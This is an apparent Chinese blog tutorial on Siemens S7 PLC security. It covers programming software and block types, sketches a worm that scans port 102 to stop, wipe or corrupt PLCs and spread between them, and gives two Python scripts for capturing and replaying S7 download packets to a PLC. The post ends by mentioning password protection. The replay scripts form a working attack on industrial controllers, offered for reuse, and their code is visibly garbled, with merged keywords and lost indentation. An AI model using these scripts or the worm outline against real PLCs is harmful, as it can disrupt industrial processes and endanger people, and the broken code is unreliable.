工控安全 | 西门子S7安全知识讲解

  • A+
所属分类:未分类

前言

本文主要对工控安全中西门子s7系列plc展开一个入门级全方位的讲解。继续抛砖引玉,欢迎各位工控大神来交流。

0×1关于编程软件

S7200有其对应的step7 MicroWIN。

S7200-smart 是西门子为印度和中国推出的独占PLC。其编程软件为:step 7 Micro win smart

S7300/400/1200/1500的编程软件:博途 TIA v14 sp1。

0×2关于基本概念

1)寄存器

寄存器如下(了解即可,但是在一些特殊环境下,对plc进行控制的默认行为为:对plc的DI模块等进行控制。此时则需要对Q寄存器的地址进行读取和改写,0×00表示PLC上的灯全灭,0XFF表示灯全亮)

2)关于程序块:

1.OB(Organization Block): 组织块构成了操作系统和用户程序之间的接口。 也是用户程序的入口程序块,相当于c语言main函数。类似于系统中存在多个main函数一样。在西门子的PLC中,OB的执行是从OB1,OB2,OB3……依次循环下去的。

2.FB(FunctionBlock):函数功能块。函数块是一种代码块,执行一些函数。它将输入、输出和输入/输出参数永久地存储在背景数据块中,从而在执行块之后,这些值依然有效。 所以函数块也称为“有存储器”的块。

3.FC(Function):函数 (FC) 是不含存储区的代码块。通过函数可在用户程序中传送参数。由于没有可以存储块参数值的数据存储器。 因此,调用函数时,必须给所有形参分配实参。

4.DB(Data Block):全局函数块。此块可以存储所有其他块都可以使用的数据。

5.背景数据块:FB块的调用称为实例。实例使用的数据存储在背景数据块中。

0×3关于层次调用

0×4关于PLC的病毒以及蠕虫

1)寻找PLC。因为西门子的PLC通信端口均为102端口。所以写的病毒程序可以不定时扫描102端口,通过发送获取cpu信息的数据包对PLC的类型进行判断,然后加载适合的payload程序。

2)如果PLC版本为s7-200~s7-400之间,则可以发送已经编写好的程序程序控制PLC,比如停止PLC工作,清空plc程序,在DB中写入垃圾指令等。还可以进行重放攻击,修改PLC的工作流程。

3)如果PLC版本为s7-1200或者s7-1500,除了利用s7200~400之外的手段外,还可以通过新增的FB块TCON、TDISCON、TSEND、TRCV模块进行PLC之间的传播感染。(有兴趣的童鞋们可以去搜2016年的blackhat大会上的相关plc资料)这些FB模块在s7-200、300、400是没有的。所以,系统功能越复杂,从某些角度讲,问题存在可能就会越多。

0×5关于重放攻击

重放攻击,顾名思义,就是把上位机软件编译好的程序重新下装到PLC机器当中。而我们需要抓包截取的就是从开始连接到结束连接这一段的数据包,进行重新发送。而且神奇之处是,在s7200,300,400之间,重放攻击是可以进行的,在施耐德某PLC上,也仅仅是一个字节的验证重放。

这里,我附上我用python调试简单易用的两个小脚本。方便大家重放使用。

当我们利用wireshark抓取数据包,并且整理如下后(其实整理到只有我们发送到PLC的数据包后,保存成pcap格式):

import dpkt

import socket

deff_writefile(data):

global i_count;

filename='payload\\';   # 保存的数据的位置。

    filename+=str(i_count)+'.bin';

    fp=open(filename,'wb');

    modbus_zong=data[54:] # get send data

    fp.write(modbus_zong);

    fp.close();

    i_count=i_count+1;

defprintPcap(pcap):

    for (ts,buf) in pcap:

        try:

            eth = dpkt.ethernet.Ethernet(buf)

            ip = eth.data

            src = socket.inet_ntoa(ip.src)

            dst = socket.inet_ntoa(ip.dst)

            print '[+] Src:'+src+'-->Dst:'+dst

            f_writefile(buf);

        except:

            pass

    print 'over'

def main():

    f = open('packagename','rb')  # 整理后的包名

    pcap_pack = dpkt.pcap.Reader(f)

    printPcap(pcap_pack)

if __name__ =='__main__':

    main();

这样在payload文件夹下则会产生每个真实发送的数据包,部分截图:

之后再编写一个读取此文件夹下*.bin文件的内容,然后再次发送的python脚本即可。我写的如下:

import socket;

import time;

host="192.168.111.111"# dst ip

port=102;

 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((host,port))

 

def f_send(data):

    s.send(data);

 

deff_readfile(index):

    data='';

    filename='payload\\';

    filename+=str(index)+'.bin';

    try:

        fp=open(filename,'rb');

        data=fp.read();

        f_send(data);

        print 'send over %d'%index;

    except:

        pass

 

def main():

    for i in range(200):

       f_readfile(i);

       time.sleep(0.1);

print 'over'

if __name__ =='__main__':

main()

0×6结尾

经过上文所述,工控PLC难道就真的不安全了吗?其实也不是。无论是在博途软件,还是在step7软件上。我们都可以发现:plc对下装的程序可以进行密码设置,从而防止一些恶意程序对PLC进行危害性操作的。如下图所示:

(上图是博途软件上的截图)

(上图是s7200 smart上的截图)

当然,进行这些设置后,PLC是否就可以高枕勿忧了呢?此时,想起我国的一句俗话:“道高一尺魔高一丈”。放到这里也许会比较正适用吧,接下来的路,需要我们共同研究进步了……

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: